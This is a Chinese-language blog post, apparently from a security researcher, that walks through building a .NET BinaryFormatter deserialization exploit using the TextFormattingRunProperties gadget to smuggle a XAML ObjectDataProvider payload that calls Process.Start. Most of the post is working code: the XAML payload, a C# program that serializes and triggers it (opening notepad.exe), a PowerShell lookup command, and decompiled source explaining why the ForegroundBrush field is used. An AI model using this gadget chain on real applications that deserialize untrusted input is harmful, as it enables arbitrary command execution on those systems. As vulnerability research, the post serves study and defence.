构造加载 XAML payload 的.net 反序列化命令执行程序

前言

在之前一篇文章中,介绍了利用 XAML 如何执行命令,例如一个执行 notepad.exeXAML代码如下:

1
2
3
4
5
6
7
8
9
10
11
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:system="clr-namespace:System;assembly=mscorlib"
xmlns:diag="clr-namespace:System.Diagnostics;assembly=System">
<ObjectDataProvider x:Key="notepad" ObjectType="{x:Type diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<s:String>notepad.exe</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

解析 XAML 的方式就是调用 XamlReader.Parse()。这篇文章继续介绍一下如何利用一条.net 的反序列化调用链触发 XamlReader.Parse() 的方式。

正文

.net的序列化过程中可以在类中自定义序列化过程,在实现 ISerizable 接口的类中将指定该类的序列化过程封装在 GetObjectData(SerializationInfo, StreamingContext) 函数中即可。所以我们可以制造一个基本的代码结构,用来生成最终的恶意序列化内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

namespace TestProject
{
class Program
{
[Serializable]
public class XamlSerialMarshal : ISerializable
{
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); // 取到支持 xaml 数据的可序列化类
info.SetType(t); // 将要序列化的类型设置为 t
info.AddValue("ForegroundBrush", _xaml); // 将 xaml 的 payload 放到该类的一个支持 xaml 数据的属性当中,反序列化的时候可以触发 XamlReader.Parse()
}
public XamlSerialMarshal(string xaml)
{
_xaml = xaml;
}
}

static void Main(string[] args)
{

string _payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:d=""clr-namespace:System.Diagnostics;assembly=System"">
<ObjectDataProvider x:Key=""notepad""ObjectType=""{x:Type d:Process}""MethodName=""Start"">
<ObjectDataProvider.MethodParameters>
<s:String>notepad.exe</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";

// 序列化
XamlSerialMarshal _marshal = new XamlSerialMarshal(_payload);
BinaryFormatter _b = new BinaryFormatter();
MemoryStream _ms = new MemoryStream();
_b.Serialize(_ms, _marshal);

// 反序列化
_ms.Position = 0; // 这句是将流指针重新指向开头
_b.Deserialize(_ms);
}
}
}

运行后,可得到一个记事本。

代码中需要填写 TextFormattingRunProperties 类的完全限定名称 AssemblyQualifiedName,有两个地方存在这个类中,一个是Powershell 自带的 Microsoft.PowerShell.Editor.dll,另一个是安装Visual Studio 才有的 Microsoft.VisualStudio.Text.UI.Wpf.dll,可以使用Everything 工具在系统中搜索得到。

如何查看类的 AssemblyQualifiedName 名字?

打开Powershell,执行如下代码

1
[System.Type]::GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties,"+[System.Reflection.Assembly]::LoadFile("C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Editor\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Editor.dll").FullName).AssemblyQualifiedName

其中 LoadFile 的参数要替换成 Everything 找到的 dll 路径。

运行结果截图:

为何将 ForegroundBrush 换成 BackgroundBrush 不行?


可以看到报错的调用栈里,有一个 TextFormattingRunProperties..ctor(SerializationInfo info, StreamingContext context) 函数栈,.ctor是构造函数的意思,利用 ILSpy 工具反编译Microsoft.PowerShell.Editor.dll,找到该构造函数可以看到大概逻辑:

可以看到先调用了 GetObjectFromSerializationInfo(string name, SerializationInfo info) 这个函数去解析ForegroundBrush, 该函数内容如下:

1
2
3
4
5
6
7
8
9
private object GetObjectFromSerializationInfo(string name, SerializationInfo info)
{
string @string = info.GetString(name);
if (@string == "null")
{
return null;
}
return XamlReader.Parse(@string);
}

可见,反序列化的时候先解析ForegroundBrush, 如果解析异常会导致程序不能继续解析BackgroundBrush,从这里可以看到为什么要使用ForegroundBrush

参考链接





root@kali ~# cat 重要声明
本博客所有原创文章,作者皆保留权利。转载必须包含本声明,保持文本完整,并以超链接形式注明出处【Techliu】。查看和编写文章评论都需翻墙,为了更方便地获取文章信息,可订阅RSS,如果您还没有一款喜爱的阅读器,不妨试试Inoreader.
root@kali ~# Thankyou!